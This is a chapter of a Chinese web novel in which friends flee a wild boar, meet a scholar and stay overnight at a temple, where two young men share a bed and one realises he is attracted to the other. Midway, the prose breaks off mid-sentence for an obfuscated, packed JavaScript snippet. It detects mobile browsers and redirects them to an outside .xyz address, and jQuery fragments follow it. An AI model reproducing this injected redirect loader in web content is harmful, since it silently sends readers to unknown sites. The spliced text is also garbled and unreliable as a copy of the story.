24. 共枕

作品:《千金难买

    其余人一脸茫然,什么马?什么女大王?


    庞春明知道沈愁飞在调侃自己,笑道:“那你可说错了,我是吃一堑长一智。后来花了大功夫挑马、驯马才得了追风。当初,我为了降服它,和它在草原上耗了七天七夜。”


    嚯,这么不容易!沈愁飞不禁咂舌。


    那白马极有灵性,似乎能听懂人话。


    庞春明话音刚落。


    只见它抖擞鬃毛,打了个响鼻,高傲地仰起脖子,眼神睥睨地扫视在场其余马匹,将骁勇善战、唯我独尊刻在脸上。


    庞春明知道追风性子骄傲,不禁夸,越夸斗志越高。于是拍了拍马头,转而问沈愁飞他们好端端招惹野猪做什么?


    “不关我们的事。”


    钱瑞将矛头指向半路蹦出来的书生。


    “你问他,都是他引来的!”


    庞春明转眸,见那人满头大汗,累得不轻,嘴唇都白了。“他,这是怎么了?”


    “跑的。”沈愁飞笑着同庞春明道:“你别看他瞧着斯文,跑得那叫一个快,嗖嗖嗖,腿跟轮子似的。”


    书生扶着一旁的树干匀了匀气,摆手惭愧道:“郎君说笑了,逃命不拼...在下,可就真死了。”


    沈愁飞本就是在说笑,让他不着急,缓缓再说。真心夸道:“都说文弱书生,我看这话不对,谁说书生就一定体弱?”


    “是。”那书生还在喘,但好歹能松手站直说话了。“读书人...没点体魄...如何考试?”


    这话,庞春明深以为然。


    他哥说每年科举都有考到一半便熬不住晕倒在考场上的,更有甚者直接死在考试的隔间里,皆是因为体质太差,所以他哥平时也很注重强身健体。


    考不好可以再来,死了就太冤了。


    书生朝众人拱手,“在下姓江,名心河,荆州人士。今日多谢这位郎君出手相助,捎带上我,这才捡回一条小命。”


    “客气。”沈愁飞不是见死不救的人,更何况当时江心河都自身难保了,冲他们喊的也是快跑,而不是救命,足见人品。


    说来江心河也是倒霉。


    那野猪滚泥巴滚得好好的,根本没注意到他。谁知他在悄悄溜走时踩到小土坑,踉跄绊了跤,惊动了对方,这才只能逃命。


    沈愁飞:“你刚才扔的像炮仗的是什么?”


    江心河:“自己做的防身的小玩意,上京赶考有备无患嘛。幸好还剩下一个。”


    “江郎君是荆州人?”庞春明闻言不由问。


    “是,郎君去过荆州?”


    庞春明嘴角的笑意淡了淡,道:“五年前去过,那时荆州水患。今年可好些吗?”


    江心河叹息,“暴雨积水淹了田,好在没什么伤亡。朝廷派了工部的屈文洋屈大人来,带着大家做了不少准备,比往年好得多。”


    “如此便好。”


    侯乐脑袋晕晕,腿还在发软,庞春明顺手扶了一把。


    “没事吧?”


    “屁股痛...”侯乐分开站成罗圈腿。粗浓的眉毛皱起,像两条委屈的毛毛虫。


    “噗——”


    看他这委屈吧啦的样子,钱瑞没憋住笑出来,被沈愁飞杵了一下。


    钱瑞揉着被杵的胳膊,劫后余生,又恢复往常嘻嘻哈哈的模样。“唉呀,那怎么办?回去还得骑马。长痛不如短痛,侯乐,你咬咬牙快马加鞭颠回去如何?”


    侯乐听完嘴角都向下垂了。


    钱瑞说的是人话吗?


    真这样,他的屁股怕是要开花。


    庞春明摇头失笑。“附近有间静安寺,不如去那里歇脚。”


    众人没意见。


    沈愁飞上马和庞春明并肩一道,问他怎么会出现在这。庞春明说他兄长乡试取中,他们一家来祭拜他爹,投宿在静安寺。


    原来如此。


    沈愁飞想到庞老爷当年好像就是在荆州出的事,难怪他听到江心河是荆州人会突然问起水患一事,应当是与庞老爷有关。


    侯乐到了静安寺就趴在那休息,像棵蔫掉的白菜。而沈愁飞问后厨的小和尚要了盐回来,压着声对他们说:“走啊,去烤野猪!”


    钱瑞立马点头,表示:“去去去!”


    庞春明:“跟和尚讨盐去烤肉?亏你想得出来。”


    “怎么了?”沈愁飞做了个双手合十拜拜的姿势,“酒肉穿肠过,佛祖心中留。再说我又不是和尚,那猪刚死正新鲜,与其曝尸荒野不如进我的五脏庙。五谷轮回,也是轮回嘛。”


    沈愁飞喊上江心河一起去,侯乐不想给屁股挪窝,就不去了。


    “庞郎君,一起啊?”


    庞春明说他一会儿还要去抄经,为表虔心,不食荤腥为好。


    沈愁飞一想便知这经是为庞老爷抄的,也不勉强。


    等他们吃完回来,天色都暗了。


    侯乐和庞家人一起用了素斋,只见钱瑞吃多了挺着肚子回来,沈愁飞坏笑着凑到侯乐耳边跟他说了什么,侯乐听完眼睛立马亮了。


    抬着自己肿起来的屁股也要动身到钱瑞面前,摸了摸他的肚子,按沈愁飞教他的说:“瑞哥,有喜啦?这得五个月了吧。”


    钱瑞呛得一口茶喷出来,沈愁飞笑得前仰后翻。


    “沈愁飞!你少带坏小孩子!”


    钱瑞气得站起来,腰一挺直,撑圆的肚子更明显了,而且他吃多了腻得慌,动作幅度一大就想吐。


    侯乐说:“快坐下,不要动了胎气!”满脸都是大仇得报的快意。


    侯乐骑不了马,钱瑞上马一颠就想吐,三人索性也留宿在静安寺。


    寺中只剩一间客房。


    庞老夫人望着儿媳,和声道:“惜蕊和我,咱娘俩住一屋。剩下三间你们两两一分,凑合一晚。”


    江心河、庞庆夏,两位举人聊了几句后发现彼此志趣相投,于是一拍即合,今晚打算畅谈一番。


    侯乐和钱瑞这对难兄难弟住一屋,理由是钱瑞吃撑了别


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14779777|153546||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    躺着不动,侯乐有什么事尽管叫他。


    沈愁飞和庞春明一屋。


    当晚,沈愁飞躺在床上,庞春明掀开被子钻进来时他莫名有些紧张,开始没话找话。


    “你嫂子名字挺好听的...我嫂子的名字也好听,叫静汐。”


    庞春明眉头狠狠一皱,翻身看他。


    “沈愁飞。”


    “嗯?”


    “我觉得你和我躺在一张床上,聊咱俩的嫂子,这不太合适。你觉得呢?”


    沈愁飞默了默。


    “...确实不太好。那躺在一张床上,我们能做什么呢?”


    “睡觉。”不然还能做什么?


    “...你说得对。”


    可沈愁飞睁着眼睛睡不着。


    庞春明闭眼等着入睡,突然听到这家伙念《蒹葭》顿觉诡异,这人还有睡前念诗的习惯?瞧着不像啊。


    沈愁飞还是想说话,于是问庞春明知不知道后面是什么,像是要考他。


    庞春明不以为意道:“知道啊。你不知道?”


    身旁倏地一静。


    庞春明懂了,他想了想说:“小时候,我娘给我唱过,所以记得比较清楚。你...要不要听?”


    沈愁飞说要,目光灼灼地盯着他。


    庞春明被他看得侧过脸去,清了清嗓,回忆小时候母亲的调子,轻轻哼了起来。


    庞母是江南人,庞春明清唱时便带了江南水乡的温柔腔调。


    沈愁飞在他的浅吟低唱中渐渐入眠。


    梦里,他在一叶扁舟上撑着竹篙,江面上都是雾气,什么也看不清,只能听到缥缈悠长的箫声传来。


    和庞春明哼的调子一样。


    他立即循着箫声划去,隐约看到盘腿坐在船头,手执玉箫的庞春明。


    大概比起死记硬背,曲调确实更容易记忆。


    沈愁飞脑中自然而然浮现出“溯洄从之,道阻且长。溯游从之,宛在水中央。”


    他脱口喊了一声庞春明便突然醒了。


    眼睛睁开的那一瞬,还以为自己躺在小舟上。


    看到禅房的屋顶才回神。


    纳闷...庞春明?


    一转头,看到那张安睡的清俊脸庞——靠,庞春明!


    沈愁飞顿时打了个激灵,脑子像被猛敲了下。捂着脸在被子里动来动去,冷风漏进来,把庞春明给弄醒了。


    庞春明迷糊道:“大半夜...不睡觉,你干什么?”


    沈愁飞立马安分,“这就睡这就睡,我不动了,你睡。”说完还给人把被子掖好,然后躺平在床上。


    他努力平复激动的心情,忽地想起钱瑞说他今年必犯桃花,心道:“还真被他说中了。”


    第二天回程时,庞春明头一次觉得自己太敏感,沈愁飞老看他做什么?


    他转头刚想问,对上目光,沈愁飞的耳朵腾一下红了起来。


    庞春明握紧缰绳。


    忽然,就不问了。